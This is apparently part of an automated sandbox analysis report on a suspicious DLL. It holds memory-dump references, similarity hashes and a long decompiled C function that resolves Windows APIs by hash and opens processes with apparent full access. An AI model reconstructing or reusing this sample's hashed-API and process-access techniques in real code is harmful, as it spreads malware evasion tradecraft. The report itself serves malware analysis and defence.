                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID: 8nsK
                                                                                                                                              • API String ID: 0-3012451157
                                                                                                                                              • Opcode ID: 0169b8ceb924bd624878aa4738d3681c76bd49814fd1019c6749b6d78cbf519c
                                                                                                                                              • Instruction ID: 76117c8b2f9a2ba5b6b364ca46a20a7e4d91fc49a0fb0fbd217a7a691e75e45d
                                                                                                                                              • Opcode Fuzzy Hash: 0169b8ceb924bd624878aa4738d3681c76bd49814fd1019c6749b6d78cbf519c
                                                                                                                                              • Instruction Fuzzy Hash: 1A32D7724047069AC719EF60CD509EF77A4EFA1208F204F1DB5895A2B2FF71E99BC681
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 84%
                                                                                                                                              			E6E75A4E8(signed int* __ecx, void* __eflags) {
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				void* _t182;
                                                                                                                                              				signed int _t183;
                                                                                                                                              				signed int* _t188;
                                                                                                                                              				void* _t198;
                                                                                                                                              				void* _t199;
                                                                                                                                              				void* _t228;
                                                                                                                                              				void* _t229;
                                                                                                                                              				void* _t242;
                                                                                                                                              				void* _t243;
                                                                                                                                              				void* _t251;
                                                                                                                                              				signed int* _t271;
                                                                                                                                              				void* _t282;
                                                                                                                                              				void* _t284;
                                                                                                                                              				void* _t285;
                                                                                                                                              				void* _t296;
                                                                                                                                              				signed int* _t308;
                                                                                                                                              				void* _t324;
                                                                                                                                              				signed int _t398;
                                                                                                                                              				signed int _t402;
                                                                                                                                              				intOrPtr* _t403;
                                                                                                                                              				intOrPtr* _t404;
                                                                                                                                              				signed int _t406;
                                                                                                                                              				signed int _t407;
                                                                                                                                              				signed int _t409;
                                                                                                                                              				signed int _t411;
                                                                                                                                              				signed int _t412;
                                                                                                                                              				void* _t413;
                                                                                                                                              				signed int _t414;
                                                                                                                                              				signed int _t415;
                                                                                                                                              				signed int _t416;
                                                                                                                                              				signed int _t419;
                                                                                                                                              				void* _t420;
                                                                                                                                              				signed int _t421;
                                                                                                                                              				void* _t422;
                                                                                                                                              				signed int _t424;
                                                                                                                                              				signed int _t429;
                                                                                                                                              				signed int _t433;
                                                                                                                                              				signed int _t434;
                                                                                                                                              				signed int _t437;
                                                                                                                                              				intOrPtr* _t439;
                                                                                                                                              
                                                                                                                                              				_t308 = __ecx;
                                                                                                                                              				 *(_t439 + 0x78) = 0;
                                                                                                                                              				 *_t439 = __ecx + 8;
                                                                                                                                              				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
                                                                                                                                              				while(1) {
                                                                                                                                              					_t392 =  *_t308;
                                                                                                                                              					E6E75B658(_t439 + 0x24, _t392, 0x7fffffff);
                                                                                                                                              					if(E6E75F4D0(_t439 + 0x24) == 0) {
                                                                                                                                              						goto L3;
                                                                                                                                              					} else {
                                                                                                                                              						_t308[0xc] = 0;
                                                                                                                                              						E6E75F654(_t439 + 0x24);
                                                                                                                                              					}
                                                                                                                                              					L63:
                                                                                                                                              					_t398 = 0xffffffffffffffff;
                                                                                                                                              					_t407 = 0xffffffffffffffff;
                                                                                                                                              					L65:
                                                                                                                                              					if((_t407 | _t398) != 0) {
                                                                                                                                              						L68:
                                                                                                                                              						return _t407;
                                                                                                                                              					}
                                                                                                                                              					if( *(_t439 + 0x78) != 0x20) {
                                                                                                                                              						E6E762234(0x5dc, _t392, _t407);
                                                                                                                                              						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
                                                                                                                                              						continue;
                                                                                                                                              					}
                                                                                                                                              					_t398 = 0xffffffffffffffff;
                                                                                                                                              					_t407 = 0xffffffffffffffff;
                                                                                                                                              					goto L68;
                                                                                                                                              					L3:
                                                                                                                                              					__eflags = _t308[1];
                                                                                                                                              					if(_t308[1] <= 0) {
                                                                                                                                              						L21:
                                                                                                                                              						__eflags =  *(_t439 + 0x20);
                                                                                                                                              						if( *(_t439 + 0x20) <= 0) {
                                                                                                                                              							L33:
                                                                                                                                              							E6E75F654(_t439 + 0x24);
                                                                                                                                              							__eflags = _t308[0xc];
                                                                                                                                              							if(_t308[0xc] == 0) {
                                                                                                                                              								L46:
                                                                                                                                              								 *((intOrPtr*)(_t439 + 8)) = 0;
                                                                                                                                              								 *((intOrPtr*)(_t439 + 0xc)) = 0;
                                                                                                                                              								E6E75F584(_t439 + 0x14, 0);
                                                                                                                                              								 *((intOrPtr*)(_t439 + 0x38)) = 0;
                                                                                                                                              								 *(_t439 + 0x34) =  *_t308;
                                                                                                                                              								E6E75F584(_t439 + 0x40, 0);
                                                                                                                                              								_t182 = 0x40;
                                                                                                                                              								__eflags = _t308[7] - 0x40;
                                                                                                                                              								_t183 =  <  ? _t308[7] : _t182;
                                                                                                                                              								 *(_t439 + 0x74) = _t183;
                                                                                                                                              								__eflags = _t183;
                                                                                                                                              								if(_t183 <= 0) {
                                                                                                                                              									L57:
                                                                                                                                              									asm("movq xmm0, [0x6e76b808]");
                                                                                                                                              									asm("movq [esp+0x84], xmm0");
                                                                                                                                              									_t406 = E6E763064(0x60a28c5c, 0x14e85b34);
                                                                                                                                              									__eflags = _t406;
                                                                                                                                              									if(_t406 == 0) {
                                                                                                                                              										_t424 = 0;
                                                                                                                                              										__eflags = 0;
                                                                                                                                              										L61:
                                                                                                                                              										__eflags = _t424 - 0x3f;
                                                                                                                                              										if(_t424 <= 0x3f) {
                                                                                                                                              											__eflags = _t424 << 2;
                                                                                                                                              											_t308[0xc] =  *(E6E75F4BC( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
                                                                                                                                              											_t188 = E6E75F4BC( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
                                                                                                                                              											_t407 = _t308[0xc];
                                                                                                                                              											asm("cdq");
                                                                                                                                              											_t308[0xd] =  *_t188;
                                                                                                                                              											_t398 = _t392;
                                                                                                                                              											E6E75B5C4(_t439 + 0x34);
                                                                                                                                              											E6E75B5C4(_t439 + 8);
                                                                                                                                              											goto L65;
                                                                                                                                              										}
                                                                                                                                              										L62:
                                                                                                                                              										E6E75B5C4(_t439 + 0x34);
                                                                                                                                              										E6E75B5C4(_t439 + 8);
                                                                                                                                              										goto L63;
                                                                                                                                              									}
                                                                                                                                              									_t392 = E6E75F4BC(_t439 + 0x14, 0);
                                                                                                                                              									_t198 =  *_t406( *((intOrPtr*)(_t439 + 0xc)), _t392, 1, 0, _t439 + 0x84);
                                                                                                                                              									_t133 = _t198 - 0x80; // -128
                                                                                                                                              									_t199 = _t133;
                                                                                                                                              									__eflags = _t199 - 0x3f;
                                                                                                                                              									_t424 =  <=  ? _t199 : _t198;
                                                                                                                                              									__eflags = _t424 - 0x102;
                                                                                                                                              									if(_t424 == 0x102) {
                                                                                                                                              										goto L62;
                                                                                                                                              									}
                                                                                                                                              									goto L61;
                                                                                                                                              								}
                                                                                                                                              								_t437 = 0;
                                                                                                                                              								__eflags = 0;
                                                                                                                                              								while(1) {
                                                                                                                                              									E6E75CA8C(_t439 + 0x4c);
                                                                                                                                              									_t392 = 0;
                                                                                                                                              									_t324 = _t439 + 0x4c;
                                                                                                                                              									 *((char*)(_t324 + 4)) = 0;
                                                                                                                                              									 *((intOrPtr*)(_t324 + 0x1c)) = 0;
                                                                                                                                              									__eflags = E6E75C280(_t324);
                                                                                                                                              									if(__eflags != 0) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828(_t439 + 0x14, E6E75F4CC(_t439 + 0x10) + 4);
                                                                                                                                              									 *((intOrPtr*)(E6E75F4BC(_t439 + 0x14, E6E75F4CC(_t439 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t439 + 0x4c));
                                                                                                                                              									 *((intOrPtr*)(_t439 + 0xc)) =  *((intOrPtr*)(_t439 + 0xc)) + 1;
                                                                                                                                              									_t409 = E6E763064(0x60a28c5c, 0x3659ae1e);
                                                                                                                                              									__eflags = _t409;
                                                                                                                                              									if(_t409 == 0) {
                                                                                                                                              										L51:
                                                                                                                                              										_t392 =  *(_t439 + 0x68);
                                                                                                                                              										__eflags = _t392;
                                                                                                                                              										if(__eflags == 0) {
                                                                                                                                              											break;
                                                                                                                                              										}
                                                                                                                                              										__eflags = _t392 - 0xffffffff;
                                                                                                                                              										if(__eflags != 0) {
                                                                                                                                              											E6E75F828(_t439 + 0x40, E6E75F4CC(_t439 + 0x3c) + 4);
                                                                                                                                              											 *(E6E75F4BC(_t439 + 0x40, E6E75F4CC(_t439 + 0x3c) + 0xfffffffc)) =  *(_t439 + 0x68);
                                                                                                                                              											 *((intOrPtr*)(_t439 + 0x4c - 0x14)) =  *((intOrPtr*)(_t439 + 0x4c - 0x14)) + 1;
                                                                                                                                              											E6E75CD24(_t439 + 0x4c, __eflags);
                                                                                                                                              											_t437 = _t437 + 1;
                                                                                                                                              											__eflags = _t437 -  *(_t439 + 0x74);
                                                                                                                                              											if(_t437 <  *(_t439 + 0x74)) {
                                                                                                                                              												continue;
                                                                                                                                              											}
                                                                                                                                              											_t411 = 0;
                                                                                                                                              											__eflags = 0;
                                                                                                                                              											do {
                                                                                                                                              												E6E75F4BC( *((intOrPtr*)(_t439 + 8)), _t411 * 4);
                                                                                                                                              												E6E75F4BC(_t439 + 0x40, _t411 * 4);
                                                                                                                                              												_t439 = _t439 + 0xffffffd8;
                                                                                                                                              												asm("cdq");
                                                                                                                                              												asm("pxor xmm5, xmm5");
                                                                                                                                              												asm("movd xmm1, dword [ebp]");
                                                                                                                                              												asm("movd xmm4, dword [edi]");
                                                                                                                                              												asm("movd xmm0, edx");
                                                                                                                                              												asm("cdq");
                                                                                                                                              												asm("punpckldq xmm1, xmm0");
                                                                                                                                              												asm("movq xmm2, [ebx+0x38]");
                                                                                                                                              												asm("movq [esp], xmm1");
                                                                                                                                              												asm("movd xmm3, edx");
                                                                                                                                              												asm("punpckldq xmm4, xmm3");
                                                                                                                                              												asm("movq [esp+0x8], xmm2");
                                                                                                                                              												asm("movq [esp+0x10], xmm4");
                                                                                                                                              												asm("movq [esp+0x18], xmm5");
                                                                                                                                              												asm("movq [esp+0x20], xmm5");
                                                                                                                                              												E6E75AC48(__eflags);
                                                                                                                                              												_t411 = _t411 + 1;
                                                                                                                                              												__eflags = _t411 -  *(_t439 + 0x74);
                                                                                                                                              											} while (_t411 <  *(_t439 + 0x74));
                                                                                                                                              											goto L57;
                                                                                                                                              										}
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									_t392 = _t439 + 0x68;
                                                                                                                                              									 *_t409(0xffffffff,  *((intOrPtr*)(_t439 + 0x60)),  *_t308, _t439 + 0x68, 0, 0, 2);
                                                                                                                                              									__eflags = 0;
                                                                                                                                              									if(0 != 0) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									goto L51;
                                                                                                                                              								}
                                                                                                                                              								E6E75CD24(_t439 + 0x4c, __eflags);
                                                                                                                                              								goto L62;
                                                                                                                                              							}
                                                                                                                                              							_t402 = _t308[1];
                                                                                                                                              							__eflags = _t402;
                                                                                                                                              							if(_t402 <= 0) {
                                                                                                                                              								goto L46;
                                                                                                                                              							}
                                                                                                                                              							_t412 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							while(1) {
                                                                                                                                              								_t429 = _t412 * 4;
                                                                                                                                              								_t392 =  *(E6E75F4BC( *((intOrPtr*)(_t439 + 4)), _t429));
                                                                                                                                              								__eflags = _t392 - _t308[0xd];
                                                                                                                                              								if(_t392 == _t308[0xd]) {
                                                                                                                                              									break;
                                                                                                                                              								}
                                                                                                                                              								_t412 = _t412 + 1;
                                                                                                                                              								__eflags = _t412 - _t402;
                                                                                                                                              								if(_t412 < _t402) {
                                                                                                                                              									continue;
                                                                                                                                              								}
                                                                                                                                              								goto L46;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t412 - 0xffffffff;
                                                                                                                                              							if(_t412 != 0xffffffff) {
                                                                                                                                              								_t228 = E6E75F4CC( *((intOrPtr*)(_t439 + 4)));
                                                                                                                                              								__eflags = _t228 - _t429;
                                                                                                                                              								if(_t228 > _t429) {
                                                                                                                                              									_t392 = 4 + _t412 * 4;
                                                                                                                                              									 *(_t439 + 0x6c) = _t392;
                                                                                                                                              									_t251 = E6E75F4CC( *((intOrPtr*)(_t439 + 4)));
                                                                                                                                              									__eflags = _t251 -  *(_t439 + 0x6c);
                                                                                                                                              									if(_t251 >  *(_t439 + 0x6c)) {
                                                                                                                                              										 *((intOrPtr*)(_t439 + 0x90)) = E6E75F4BC( *((intOrPtr*)(_t439 + 8)), _t429);
                                                                                                                                              										 *((intOrPtr*)(_t439 + 0x8c)) = E6E75F4BC( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x6c));
                                                                                                                                              										E6E7638F0( *((intOrPtr*)(_t439 + 0x98)),  *((intOrPtr*)(_t439 + 0x90)), E6E75F4CC( *((intOrPtr*)(_t439 + 4))) -  *(_t439 + 0x6c));
                                                                                                                                              										_t439 = _t439 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828( *((intOrPtr*)(_t439 + 8)), E6E75F4CC( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
                                                                                                                                              									_t74 =  &(_t308[7]);
                                                                                                                                              									 *_t74 = _t308[7] - 1;
                                                                                                                                              									__eflags =  *_t74;
                                                                                                                                              								}
                                                                                                                                              								_t229 = E6E75F4CC( *_t439);
                                                                                                                                              								__eflags = _t229 - _t429;
                                                                                                                                              								if(_t229 > _t429) {
                                                                                                                                              									_t413 = 4 + _t412 * 4;
                                                                                                                                              									_t242 = E6E75F4CC( *_t439);
                                                                                                                                              									__eflags = _t242 - _t413;
                                                                                                                                              									if(_t242 > _t413) {
                                                                                                                                              										_t243 = E6E75F4BC( *((intOrPtr*)(_t439 + 4)), _t429);
                                                                                                                                              										 *((intOrPtr*)(_t439 + 0x94)) = E6E75F4BC( *((intOrPtr*)(_t439 + 4)), _t413);
                                                                                                                                              										E6E7638F0(_t243,  *((intOrPtr*)(_t439 + 0x98)), E6E75F4CC( *_t439) - _t413);
                                                                                                                                              										_t439 = _t439 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828( *((intOrPtr*)(_t439 + 4)), E6E75F4CC( *_t439) + 0xfffffffc);
                                                                                                                                              									_t79 =  &(_t308[1]);
                                                                                                                                              									 *_t79 = _t308[1] - 1;
                                                                                                                                              									__eflags =  *_t79;
                                                                                                                                              								}
                                                                                                                                              								E6E75F828( *((intOrPtr*)(_t439 + 8)), E6E75F4CC( *((intOrPtr*)(_t439 + 4))) + 4);
                                                                                                                                              								 *(E6E75F4BC( *((intOrPtr*)(_t439 + 8)), E6E75F4CC( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t308[0xc];
                                                                                                                                              								_t308[7] = _t308[7] + 1;
                                                                                                                                              								E6E75F828( *((intOrPtr*)(_t439 + 4)), E6E75F4CC( *_t439) + 4);
                                                                                                                                              								 *(E6E75F4BC( *((intOrPtr*)(_t439 + 4)), E6E75F4CC( *_t439) + 0xfffffffc)) = _t308[0xd];
                                                                                                                                              								_t308[1] = _t308[1] + 1;
                                                                                                                                              							}
                                                                                                                                              							goto L46;
                                                                                                                                              						}
                                                                                                                                              						_t433 = 0;
                                                                                                                                              						__eflags = 0;
                                                                                                                                              						do {
                                                                                                                                              							 *(_t439 + 0x70) = _t433 * 4;
                                                                                                                                              							_t403 = E6E75F4BC(_t439 + 0x28, _t433 * 4);
                                                                                                                                              							_t392 = _t308[1];
                                                                                                                                              							 *(_t439 + 0x80) = _t392;
                                                                                                                                              							__eflags = _t392;
                                                                                                                                              							if(_t392 <= 0) {
                                                                                                                                              								L29:
                                                                                                                                              								_t414 = E6E763064(0x8e844d1e, 0x5c3654e3);
                                                                                                                                              								__eflags = _t414;
                                                                                                                                              								if(_t414 != 0) {
                                                                                                                                              									_t416 =  *_t414(0x1fffff, 0,  *((intOrPtr*)(E6E75F4BC(_t439 + 0x28,  *(_t439 + 0x70)))));
                                                                                                                                              									__eflags = _t416;
                                                                                                                                              									if(_t416 != 0) {
                                                                                                                                              										E6E75F828( *((intOrPtr*)(_t439 + 8)), E6E75F4CC( *((intOrPtr*)(_t439 + 4))) + 4);
                                                                                                                                              										 *(E6E75F4BC( *((intOrPtr*)(_t439 + 8)), E6E75F4CC( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t416;
                                                                                                                                              										_t308[7] = _t308[7] + 1;
                                                                                                                                              										_t271 = E6E75F4BC(_t439 + 0x28,  *(_t439 + 0x70));
                                                                                                                                              										E6E75F828( *((intOrPtr*)(_t439 + 4)), E6E75F4CC( *_t439) + 4);
                                                                                                                                              										 *(E6E75F4BC( *((intOrPtr*)(_t439 + 4)), E6E75F4CC( *_t439) + 0xfffffffc)) =  *_t271;
                                                                                                                                              										_t57 =  &(_t308[1]);
                                                                                                                                              										 *_t57 = _t308[1] + 1;
                                                                                                                                              										__eflags =  *_t57;
                                                                                                                                              									}
                                                                                                                                              								}
                                                                                                                                              								goto L32;
                                                                                                                                              							}
                                                                                                                                              							_t415 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							while(1) {
                                                                                                                                              								_t392 =  *(E6E75F4BC( *((intOrPtr*)(_t439 + 4)), _t415 * 4));
                                                                                                                                              								__eflags = _t392 -  *_t403;
                                                                                                                                              								if(_t392 ==  *_t403) {
                                                                                                                                              									break;
                                                                                                                                              								}
                                                                                                                                              								_t415 = _t415 + 1;
                                                                                                                                              								__eflags = _t415 -  *(_t439 + 0x80);
                                                                                                                                              								if(_t415 <  *(_t439 + 0x80)) {
                                                                                                                                              									continue;
                                                                                                                                              								}
                                                                                                                                              								goto L29;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t415 - 0xffffffff;
                                                                                                                                              							if(_t415 == 0xffffffff) {
                                                                                                                                              								goto L29;
                                                                                                                                              							}
                                                                                                                                              							L32:
                                                                                                                                              							_t433 = _t433 + 1;
                                                                                                                                              							__eflags = _t433 -  *(_t439 + 0x20);
                                                                                                                                              						} while (_t433 <  *(_t439 + 0x20));
                                                                                                                                              						goto L33;
                                                                                                                                              					} else {
                                                                                                                                              						_t434 = 0;
                                                                                                                                              						__eflags = 0;
                                                                                                                                              						do {
                                                                                                                                              							 *(_t439 + 0x64) = _t434 * 4;
                                                                                                                                              							_t404 = E6E75F4BC( *((intOrPtr*)(_t439 + 4)), _t434 * 4);
                                                                                                                                              							_t392 =  *(_t439 + 0x20);
                                                                                                                                              							 *(_t439 + 0x7c) = _t392;
                                                                                                                                              							__eflags = _t392;
                                                                                                                                              							if(_t392 <= 0) {
                                                                                                                                              								L11:
                                                                                                                                              								_t282 = E6E75F4CC( *_t439);
                                                                                                                                              								__eflags = _t282 -  *(_t439 + 0x64);
                                                                                                                                              								if(_t282 >  *(_t439 + 0x64)) {
                                                                                                                                              									_t420 = 4 + _t434 * 4;
                                                                                                                                              									_t296 = E6E75F4CC( *_t439);
                                                                                                                                              									__eflags = _t296 - _t420;
                                                                                                                                              									if(_t296 > _t420) {
                                                                                                                                              										 *((intOrPtr*)(_t439 + 0x9c)) = E6E75F4BC( *((intOrPtr*)(_t439 + 4)),  *(_t439 + 0x64));
                                                                                                                                              										 *((intOrPtr*)(_t439 + 0x98)) = E6E75F4BC( *((intOrPtr*)(_t439 + 4)), _t420);
                                                                                                                                              										E6E7638F0( *((intOrPtr*)(_t439 + 0xa4)),  *((intOrPtr*)(_t439 + 0x9c)), E6E75F4CC( *_t439) - _t420);
                                                                                                                                              										_t439 = _t439 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828( *((intOrPtr*)(_t439 + 4)), E6E75F4CC( *_t439) + 0xfffffffc);
                                                                                                                                              									_t22 =  &(_t308[1]);
                                                                                                                                              									 *_t22 = _t308[1] - 1;
                                                                                                                                              									__eflags =  *_t22;
                                                                                                                                              								}
                                                                                                                                              								_t419 = E6E763064(0x60a28c5c, 0xe96b154c);
                                                                                                                                              								__eflags = _t419;
                                                                                                                                              								if(_t419 != 0) {
                                                                                                                                              									 *_t419( *((intOrPtr*)(E6E75F4BC( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64)))));
                                                                                                                                              								}
                                                                                                                                              								_t284 = E6E75F4CC( *((intOrPtr*)(_t439 + 4)));
                                                                                                                                              								__eflags = _t284 -  *(_t439 + 0x64);
                                                                                                                                              								if(_t284 >  *(_t439 + 0x64)) {
                                                                                                                                              									_t422 = 4 + _t434 * 4;
                                                                                                                                              									_t285 = E6E75F4CC( *((intOrPtr*)(_t439 + 4)));
                                                                                                                                              									__eflags = _t285 - _t422;
                                                                                                                                              									if(_t285 > _t422) {
                                                                                                                                              										 *((intOrPtr*)(_t439 + 0xa4)) = E6E75F4BC( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64));
                                                                                                                                              										 *((intOrPtr*)(_t439 + 0xa0)) = E6E75F4BC( *((intOrPtr*)(_t439 + 8)), _t422);
                                                                                                                                              										E6E7638F0( *((intOrPtr*)(_t439 + 0xac)),  *((intOrPtr*)(_t439 + 0xa4)), E6E75F4CC( *((intOrPtr*)(_t439 + 4))) - _t422);
                                                                                                                                              										_t439 = _t439 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828( *((intOrPtr*)(_t439 + 8)), E6E75F4CC( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
                                                                                                                                              									_t33 =  &(_t308[7]);
                                                                                                                                              									 *_t33 = _t308[7] - 1;
                                                                                                                                              									__eflags =  *_t33;
                                                                                                                                              								}
                                                                                                                                              								_t434 = _t434 - 1;
                                                                                                                                              								__eflags = _t434;
                                                                                                                                              								goto L20;
                                                                                                                                              							}
                                                                                                                                              							_t421 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							while(1) {
                                                                                                                                              								_t392 =  *(E6E75F4BC(_t439 + 0x28, _t421 * 4));
                                                                                                                                              								__eflags = _t392 -  *_t404;
                                                                                                                                              								if(_t392 ==  *_t404) {
                                                                                                                                              									break;
                                                                                                                                              								}
                                                                                                                                              								_t421 = _t421 + 1;
                                                                                                                                              								__eflags = _t421 -  *(_t439 + 0x7c);
                                                                                                                                              								if(_t421 <  *(_t439 + 0x7c)) {
                                                                                                                                              									continue;
                                                                                                                                              								}
                                                                                                                                              								goto L11;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t421 - 0xffffffff;
                                                                                                                                              							if(_t421 == 0xffffffff) {
                                                                                                                                              								goto L11;
                                                                                                                                              							}
                                                                                                                                              							L20:
                                                                                                                                              							_t434 = _t434 + 1;
                                                                                                                                              							__eflags = _t434 - _t308[1];
                                                                                                                                              						} while (_t434 < _t308[1]);
                                                                                                                                              						goto L21;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              			}













































                                                                                                                                              0x6e75a4f2
                                                                                                                                              0x6e75a4f4
                                                                                                                                              0x6e75a4ff
                                                                                                                                              0x6e75a505
                                                                                                                                              0x6e75a509
                                                                                                                                              0x6e75a50e
                                                                                                                                              0x6e75a514
                                                                                                                                              0x6e75a524
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a526
                                                                                                                                              0x6e75a526
                                                                                                                                              0x6e75a531
                                                                                                                                              0x6e75a531
                                                                                                                                              0x6e75aaaf
                                                                                                                                              0x6e75aab1
                                                                                                                                              0x6e75aab2
                                                                                                                                              0x6e75aaf1
                                                                                                                                              0x6e75aaf5
                                                                                                                                              0x6e75ab03
                                                                                                                                              0x6e75ab11
                                                                                                                                              0x6e75ab11
                                                                                                                                              0x6e75aafc
                                                                                                                                              0x6e75ab17
                                                                                                                                              0x6e75ab1c
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75ab1c
                                                                                                                                              0x6e75ab00
                                                                                                                                              0x6e75ab01
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a53b
                                                                                                                                              0x6e75a53b
                                                                                                                                              0x6e75a53f
                                                                                                                                              0x6e75a646
                                                                                                                                              0x6e75a646
                                                                                                                                              0x6e75a64b
                                                                                                                                              0x6e75a75c
                                                                                                                                              0x6e75a760
                                                                                                                                              0x6e75a765
                                                                                                                                              0x6e75a769
                                                                                                                                              0x6e75a893
                                                                                                                                              0x6e75a895
                                                                                                                                              0x6e75a899
                                                                                                                                              0x6e75a8a2
                                                                                                                                              0x6e75a8ab
                                                                                                                                              0x6e75a8af
                                                                                                                                              0x6e75a8b8
                                                                                                                                              0x6e75a8bf
                                                                                                                                              0x6e75a8c0
                                                                                                                                              0x6e75a8c4
                                                                                                                                              0x6e75a8c8
                                                                                                                                              0x6e75a8cc
                                                                                                                                              0x6e75a8ce
                                                                                                                                              0x6e75aa38
                                                                                                                                              0x6e75aa38
                                                                                                                                              0x6e75aa40
                                                                                                                                              0x6e75aa58
                                                                                                                                              0x6e75aa5a
                                                                                                                                              0x6e75aa5c
                                                                                                                                              0x6e75aa96
                                                                                                                                              0x6e75aa96
                                                                                                                                              0x6e75aa98
                                                                                                                                              0x6e75aa98
                                                                                                                                              0x6e75aa9b
                                                                                                                                              0x6e75aab6
                                                                                                                                              0x6e75aaca
                                                                                                                                              0x6e75aacd
                                                                                                                                              0x6e75aad2
                                                                                                                                              0x6e75aadd
                                                                                                                                              0x6e75aade
                                                                                                                                              0x6e75aae1
                                                                                                                                              0x6e75aae3
                                                                                                                                              0x6e75aaec
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75aaec
                                                                                                                                              0x6e75aa9d
                                                                                                                                              0x6e75aaa1
                                                                                                                                              0x6e75aaaa
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75aaaa
                                                                                                                                              0x6e75aa6d
                                                                                                                                              0x6e75aa7d
                                                                                                                                              0x6e75aa81
                                                                                                                                              0x6e75aa81
                                                                                                                                              0x6e75aa84
                                                                                                                                              0x6e75aa87
                                                                                                                                              0x6e75aa8a
                                                                                                                                              0x6e75aa90
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75aa92
                                                                                                                                              0x6e75a8d6
                                                                                                                                              0x6e75a8d6
                                                                                                                                              0x6e75a8d8
                                                                                                                                              0x6e75a8dc
                                                                                                                                              0x6e75a8e1
                                                                                                                                              0x6e75a8e3
                                                                                                                                              0x6e75a8e7
                                                                                                                                              0x6e75a8ea
                                                                                                                                              0x6e75a8f2
                                                                                                                                              0x6e75a8f4
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a90b
                                                                                                                                              0x6e75a926
                                                                                                                                              0x6e75a928
                                                                                                                                              0x6e75a93b
                                                                                                                                              0x6e75a93d
                                                                                                                                              0x6e75a93f
                                                                                                                                              0x6e75a95a
                                                                                                                                              0x6e75a95a
                                                                                                                                              0x6e75a95e
                                                                                                                                              0x6e75a960
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a962
                                                                                                                                              0x6e75a965
                                                                                                                                              0x6e75a986
                                                                                                                                              0x6e75a9a5
                                                                                                                                              0x6e75a9ab
                                                                                                                                              0x6e75a9ae
                                                                                                                                              0x6e75a9b3
                                                                                                                                              0x6e75a9b4
                                                                                                                                              0x6e75a9b8
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a9c0
                                                                                                                                              0x6e75a9c0
                                                                                                                                              0x6e75a9c2
                                                                                                                                              0x6e75a9ce
                                                                                                                                              0x6e75a9da
                                                                                                                                              0x6e75a9e4
                                                                                                                                              0x6e75a9e7
                                                                                                                                              0x6e75a9ea
                                                                                                                                              0x6e75a9ee
                                                                                                                                              0x6e75a9f5
                                                                                                                                              0x6e75a9f9
                                                                                                                                              0x6e75a9fd
                                                                                                                                              0x6e75a9fe
                                                                                                                                              0x6e75aa02
                                                                                                                                              0x6e75aa07
                                                                                                                                              0x6e75aa0c
                                                                                                                                              0x6e75aa10
                                                                                                                                              0x6e75aa14
                                                                                                                                              0x6e75aa1a
                                                                                                                                              0x6e75aa20
                                                                                                                                              0x6e75aa26
                                                                                                                                              0x6e75aa2c
                                                                                                                                              0x6e75aa31
                                                                                                                                              0x6e75aa32
                                                                                                                                              0x6e75aa32
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a9c2
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a965
                                                                                                                                              0x6e75a943
                                                                                                                                              0x6e75a954
                                                                                                                                              0x6e75a956
                                                                                                                                              0x6e75a958
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a958
                                                                                                                                              0x6e75a96b
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a96b
                                                                                                                                              0x6e75a76f
                                                                                                                                              0x6e75a772
                                                                                                                                              0x6e75a774
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a77c
                                                                                                                                              0x6e75a77c
                                                                                                                                              0x6e75a77e
                                                                                                                                              0x6e75a77e
                                                                                                                                              0x6e75a78f
                                                                                                                                              0x6e75a791
                                                                                                                                              0x6e75a794
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75a88a
                                                                                                                                              0x6e75a88b
                                                                                                                                              0x6e75a88d
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
